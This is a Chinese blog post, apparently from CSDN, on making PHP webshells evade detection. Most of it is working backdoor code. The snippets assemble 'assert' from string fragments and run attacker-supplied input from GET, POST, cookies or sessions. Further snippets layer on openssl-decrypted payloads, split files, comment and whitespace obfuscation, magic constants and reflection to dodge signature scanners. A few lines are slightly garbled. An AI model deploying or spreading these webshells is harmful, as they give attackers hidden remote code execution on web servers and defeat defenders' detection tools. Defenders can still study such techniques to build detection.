webshell对抗PHP(二)

本文探讨了PHP webshell的加密方法,包括openssl函数的使用和自定义加密算法。接着分析了多种传参方式如cookie、session和自定义头的绕过技巧,并详细阐述了$_xxx[xxx]和$xxx($xxx)的特征绕过方法,包括魔术常量如__NAMESPACE__的利用。最后提到了反射调用和注释符、空白符混淆在免杀中的应用。
摘要由CSDN通过智能技术生成

一、加密函数与自写加密函数

1、openssl加密函数的应用

openssl_encrypt($data, $method, $key, $options = 0, $iv = "", &$tag = NULL, $aad = "", $tag_length = 16)
openssl_decrypt($data, $method, $password, $options = 1, $iv = "", $tag = "",  $aad = "")

实际应用:

<?php
$key = "password";

$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key, 0);
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

2、自写加密算法

与,或,取反,异或等进行绕过,其中可以直接用他们进行加密操作,或者是一些其他的简单加密算法,意凯erer二

<?php
// 凯撒加密函数
function caesarEncrypt($message, $key) {
    $encryptedMessage = "";
    $message = strtoupper($message); // 将消息转换为大写字母
    $length = strlen($message);
    for ($i = 0; $i < $length; $i++) {
        $char = $message[$i];
        if (ctype_alpha($char)) {
            $ascii = ord($char);
            $shiftedAscii = ($ascii - 65 + $key) % 26 + 65; // 加密过程,注意循环使用字母表
            $encryptedMessage .= chr($shiftedAscii);
        } else {
            $encryptedMessage .= $char; // 非字母字符直接保留
        }
    }
    return $encryptedMessage;
}

// 凯撒解密函数
function caesarDecrypt($encryptedMessage, $key) {
    return caesarEncrypt($encryptedMessage, 26 - $key); // 解密即加密的逆运算
}

// 示例
$message = "HELLO WORLD";
$key = 3;

// 加密
$encrypted = caesarEncrypt($message, $key);
echo "加密后: " . $encrypted . "<br>";

// 解密
$decrypted = caesarDecrypt($encrypted, $key);
echo "解密后: " . $decrypted . "<br>";
?>

 二、传参方式以及特征绕过

1、cookie

在Cookies请求头中会存在一个PHPSESSID=xxxx这样的cookie,其实这个就可以成为我们的传参位置,可以给它传递一个参数

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";

$c(base64_decode($_COOKIE["PHPSESSID"]));

?>

2、session

间接传参的方式,比较难发现,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改

这里要写两段php分别作为传入以及传出:

<?php
session_start();
$_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]);

?>

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['dmeo']);

?>

3、自定义头 

4、伪协议

<?php
$q=$_GET[1];
file_get_contents("php".$q)($_GET[2]);

三、特征绕过

1.$_xxx[xxx]绕过

很容易通过find命令找出来,不支持使用,绕过必须

1.0 {  }

<?php
echo $GET_{XXX};
?>

1.1foreach

<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
foreach (array('_GET') as $r){
    foreach ($$r as $k =>$v){
        $c($v);

    }
}

1.2 自定义请求函数

2.$xxx($xxx)

2.1 " "特性

2.2 回调函数

<?php
function  demo()
{
    return $_GET["a"];
}

demo()($_GET["b"]);

2.3魔术常量

__FILE__:返回当前文件的绝对路径(包含文件名)。

__FUNCTION__:返回当前函数(或方法)的名称。

__CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。

__NAMESPACE__:返回当前文件的命名空间的名称。

实战传入的参数可以进行加密处理,再把传参方式改为cookie

例如__NAMESPACE__的利用:
<?php

namespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);

2.4 分离免杀

将一个马拆分成两部分,及使用file_get_contents()将内容读取出来

<?php
file_get_contents("test.txt")($_GET[1]);
?>

2.5 注释符以及空白符的混淆

php允许在括号中添加注释符和空白符并不会影响代码正常运行

<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c(//);//(
    $func//);//);
)
?>

2.6 反射调用

<?php
    $class          = new \ReflectionClass('Site\\Website');  // 以类名 Website 作为参数,即可创建 Website 类的反射类
    $properties     = $class->getProperties();      // 以数组的形式返回 Website 类的所有属性
    $property       = $class->getProperty('name');  // 获取 Website 类的 name 属性
    $methods        = $class->getMethods();         // 以数组的形式返回 Website 类的所有方法
    $method         = $class->getMethod('getName'); // 获取 Website 类的 getName 方法
    $constants      = $class->getConstants();       // 以数组的形式获取所有常量
    $constant       = $class->getConstant('TITLE'); // 获取 TITLE 常量
    $namespace      = $class->getNamespaceName();   // 获取类的命名空间
    $comment_class  = $class->getDocComment();      // 获取 Website 类的注释文档,即定义在类之前的注释
    $comment_method = $class->getMethod('getUrl')->getDocComment();  // 获取 Website 类中 getUrl 方法的注释文档
?>

使用 PHP 的反射(Reflection)功能来调用类属性的值作为函数:

<?php
class a{
    public $assert2;
}

$class = new ReflectionClass(new a());
substr($class->getProperties()[0]->name,0,6)($_GET[1]);

通过注释免杀,这里是通过一系列字符串操作和函数调用来执行类 A 中的静态方法 B,并获取结果

<?php
/**
 *phpinfo*/
class A
{
    public static function B()
    {
        return $_POST[1];
    }
}

$re = new ReflectionClass(new A());
$a = str_ireplace(" ","",str_ireplace("\n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));

substr($a,1)(A::B());

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

下山吃土豆

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值